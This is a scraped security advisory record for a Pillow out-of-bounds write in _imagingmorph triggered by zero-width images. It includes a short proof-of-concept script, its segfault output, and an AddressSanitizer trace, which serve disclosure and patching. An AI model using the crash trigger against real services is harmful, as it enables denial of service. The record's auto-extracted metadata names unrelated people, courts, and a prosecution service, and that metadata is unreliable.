---
schema_version: '1.0'
id: security-20261021-875539
title: 'CVE-2026-112397: Pillow: Out-of-bounds access in _imagingmorph on a zero-width
  image'
url: https://osv.dev/vulnerability/GHSA-58r4-6rv3-gfh8
url_hash: 8755396d3e9029415846106218cc1166c792ba46219f70b35a0807e68b269f70
canonical_url: https://osv.dev/vulnerability/GHSA-58r4-6rv3-gfh8
source: osv:ghsa
category: security/library
category_raw: cve/library
region: null
tags:
- cve
- CVE-2026-112397
- GHSA-58r4-6rv3-gfh8
- severity:CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
- pillow
- PyPI
lang: en
published_at: '2026-10-20T20:56:22Z'
fetched_at: '2026-10-21T11:45:29.860412Z'
updated_at: '2026-10-21T12:31:24Z'
status: published
content_hash: 9db8bf9acef358920b2d190f0d81a49f00e60ecd26afb2c571ad3ff9251851bb
content_changed_at: null
license_note: full
summary: 'Pillow: Out-of-bounds access in _imagingmorph on a zero-width image'
summary_source: rss
summary_en: 'Pillow: Out-of-bounds access in _imagingmorph on a zero-width image'
summary_omitted_reason: null
redistribution: true
keywords_en:
- Access
- cve
- CVE-2026-112397
- GHSA-58r4-6rv3-gfh8
- image
- imagingmorph
- library vulnerability
- Out-of-bounds
- pillow
- PyPI
- severity:CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
- Shay McVeigh
- software security
- zero-width
entities_en:
- name: Access
  type: artifact
- name: Shay McVeigh
  type: person
topics_en:
- library vulnerability
- software security
numeric_facts: []
entities:
- name: Shay McVeigh
  type: person
- name: Access
  type: artifact
key_facts: []
related: []
related_auto:
- name: Crown Prosecution Service
  type: UNKNOWN
  weight: 1.0
- name: Bristol Magistrates Court
  type: organization
  weight: 1.0
- name: Bristol Crown Court
  type: organization
  weight: 1.0
computed_at: '2026-10-21T12:31:07Z'
---

# CVE-2026-112397: Pillow: Out-of-bounds access in _imagingmorph on a zero-width image

## TL;DR
Pillow: Out-of-bounds access in _imagingmorph on a zero-width image

## Key Points
- cve / CVE-2026-112397 / GHSA-58r4-6rv3-gfh8 / severity:CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N / pillow / PyPI

## Details
**Severity:** CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
**Advisory:** GHSA-58r4-6rv3-gfh8 (CVE-2026-112397)

**Details:**
### Summary
A PPM or PGM file can declare a width of 0, which Pillow accepts, producing an image of size `(0, N)`. Passing that image to `ImageMorph.MorphOp.apply()` makes the native morphology code index a row buffer at `outrow[width - 1]`, which is `outrow[-1]` when the width is 0. The process crashes.

### Details
The PPM parser reads width and height with no lower-bound check:

- `src/PIL/PpmImagePlugin.py:119`

The native `apply()` writes the row edges with no guard that the width is positive:

- `src/_imagingmorph.c:81` sets `outrow[0] = outrow[width - 1] = 0;`

`match()` and `get_on_pixels()` use the same edge-indexing pattern.

### PoC
```python
from PIL import Image, ImageMorph

# A width-0 image (also producible from a crafted PPM header). apply() indexes
# outrow[width - 1] == outrow[-1] in native code.
im = Image.new("L", (0, 5))
ImageMorph.MorphOp(op_name="dilation4").apply(im)
```

Run it:
```
$ python 03_poc.py
Segmentation fault (core dumped)
```

Observed on a source build of commit `3e2ab96`.

Under AddressSanitizer:
```
==ERROR: AddressSanitizer: SEGV on unknown address (pc ... in apply)
    #0 apply   src/_imagingmorph.c:81
SUMMARY: AddressSanitizer: SEGV src/_imagingmorph.c:81 in apply
```
With width 0 the `outrow[width - 1]` write lands on an unmapped page, so it surfaces as a SEGV pinned to the edge-write line rather than a redzone overflow.

### Impact
Out-of-bounds write in a C extension. Affects any application that runs a morphology operation on an image opened from untrusted input. Result is a crash and possible memory corruption.

**References:**
- https://github.com/python-pillow/Pillow/security/advisories/GHSA-58r4-6rv3-gfh8
- https://nvd.nist.gov/vuln/detail/CVE-2026-112397
- https://github.com/python-pillow/Pillow/commit/18f7c0dfee93063c51db6ed0ca8c4da2999dcb64
- https://github.com/python-pillow/Pillow
- https://github.com/python-pillow/Pillow/releases/tag/13.0.0

_Data: OSV.dev (upstream: ghsa) — https://osv.dev/vulnerability/GHSA-58r4-6rv3-gfh8_

## Source
元記事: [CVE-2026-112397: Pillow: Out-of-bounds access in _imagingmorph on a zero-width image](https://osv.dev/vulnerability/GHSA-58r4-6rv3-gfh8) — published 2026-10-20T20:56:22Z
